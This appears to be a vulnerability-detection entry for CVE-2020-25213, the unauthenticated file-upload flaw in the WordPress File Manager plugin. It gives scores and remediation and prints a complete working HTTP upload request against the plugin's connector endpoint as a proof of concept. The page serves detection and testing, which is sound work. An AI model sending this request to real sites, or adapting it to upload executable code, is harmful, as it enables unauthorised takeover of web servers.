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CVE-2020-25213: WordPress File Manager Plugin - Remote Code Execution

TitleWordPress File Manager Plugin - Remote Code Execution
Authorfoulenzer
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
RemediationUpdate to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9442
CVE IDCVE-2020-25213
CWE IDCWE-434
Tags cve cve2020 wordpress rce kev fileupload intrusive packetstorm webdesi9 vkev vuln

🔍 Vulnerability Description

The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.

🌐 HTTP Request

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 608
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48
Accept-Encoding: gzip

--------------------------ca81ac1fececda48

Content-Disposition: form-data; name="reqid"



17457a1fe6959

--------------------------ca81ac1fececda48

Content-Disposition: form-data; name="cmd"



upload

--------------------------ca81ac1fececda48

Content-Disposition: form-data; name="target"



l1_Lw

--------------------------ca81ac1fececda48

Content-Disposition: form-data; name="mtime[]"



1576045135

--------------------------ca81ac1fececda48

Content-Disposition: form-data; name="upload[]"; filename="poc.txt"

Content-Type: text/plain



poc-test

--------------------------ca81ac1fececda48--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25213.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-25213.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A